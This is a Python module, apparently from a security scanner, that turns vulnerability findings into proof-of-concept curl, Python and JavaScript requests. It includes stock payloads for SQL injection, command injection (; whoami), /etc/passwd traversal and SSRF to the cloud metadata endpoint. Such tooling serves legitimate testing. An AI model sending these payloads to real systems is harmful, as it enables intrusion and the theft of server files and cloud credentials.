backend/utils/exploit_gen.py

import uuid
import hashlib
import hmac
import secrets
import base64
import subprocess
from typing import *
import os
import sys
import re
import json
import time
import urllib3
import requests
import socket
import logging
import threading
import concurrent.futures
import ipaddress
import ssl
from urllib.parse import urlparse, urljoin, urlencode, quote
from collections import defaultdict
from bs4 import BeautifulSoup
from datetime import datetime, timezone



def _curl_cmd(method: str, url: str, headers: dict | None = None, data: str | None = None,
              cookie: str | None = None, proxy: str | None = None) -> str:
    parts = ["curl", "-X", method]
    if cookie:
        parts.extend(["-H", f"'Cookie: {cookie}'"])
    if headers:
        for k, v in headers.items():
            parts.extend(["-H", f"'{k}: {v}'"])
    if data:
        parts.extend(["-d", f"'{data}'"])
    if proxy:
        parts.extend(["-x", proxy])
    parts.append(f"'{url}'")
    return " ".join(parts)


def _python_script(method: str, url: str, headers: dict | None = None, data: str | None = None,
                   cookie: str | None = None) -> str:
    lines = ["import requests"]
    lines.append(f"url = '{url}'")
    if headers:
        lines.append(f"headers = {json.dumps(headers)}")
    else:
        lines.append("headers = {}")
    if cookie:
        lines.append(f"headers['Cookie'] = '{cookie}'")
    if data:
        lines.append(f"data = '''{data}'''")
        lines.append(f"r = requests.{method.lower()}(url, headers=headers, data=data)")
    else:
        lines.append(f"r = requests.{method.lower()}(url, headers=headers)")
    lines.append("print(r.status_code, r.text[:500])")
    return "\n".join(lines)


def _js_fetch(method: str, url: str, headers: dict | None = None, data: str | None = None) -> str:
    js_headers = json.dumps(headers or {})
    if data:
        return f"fetch('{url}', {{ method: '{method}', headers: {js_headers}, body: `{data}` }}).then(r => r.text().then(console.log))"
    return f"fetch('{url}', {{ method: '{method}', headers: {js_headers} }}).then(r => r.text().then(console.log))"


GENERATORS: dict[str, dict] = {
    "sql_injection": {
        "name": "SQL Injection",
        "exploit_template": {0: "curl"},
        "payload_template": "' OR '1'='1' -- ",
    },
    "xss": {
        "name": "Cross-Site Scripting",
        "exploit_template": {0: "curl", 1: "browser"},
    },
    "command_injection": {
        "name": "OS Command Injection",
        "payload_template": "; whoami",
    },
    "lfi": {
        "name": "Local File Inclusion",
        "payload_template": "../../../etc/passwd",
    },
    "path_traversal": {
        "name": "Path Traversal",
        "payload_template": "../../../etc/passwd",
    },
    "ssrf": {
        "name": "Server-Side Request Forgery",
        "payload_template": "http://169.254.169.254/latest/meta-data/",
    },
}


def generate_exploit(vuln: dict, pwn_type: str | None = None) -> dict:
    scanner_key = vuln.get("scanner_key", "unknown")
    method = "GET"
    title = vuln.get("title", "")
    description = vuln.get("description", "")
    payload = vuln.get("payload", "")
    request_details = vuln.get("request_details", "")
    url = request_details.replace("GET ", "").replace("POST ", "").strip().split(" ")[0] if request_details else ""

    if not url:
        url_match = __import__("re").search(r"https?://[^\s\"'<>]+", title + " " + description)
        url = url_match.group(0) if url_match else "TARGET_URL"

    if "POST" in request_details:
        method = "POST"

    headers = {"User-Agent": "Exploit-PoC"}
    data = payload if method == "POST" else None

    exploits = {
        "curl": _curl_cmd(method, url, headers, data),
        "python": _python_script(method, url, headers, data),
        "javascript": _js_fetch(method, url, headers, data),
    }

    generator = GENERATORS.get(scanner_key, {})
    pwn_type = pwn_type or generator.get("payload_template", "")

    return {
        "vulnerability": title,
        "scanner_key": scanner_key,
        "target_url": url,
        "method": method,
        "payload_used": payload or pwn_type,
        "exploits": exploits,
        "generated_at": datetime.now(timezone.utc).isoformat(),
    }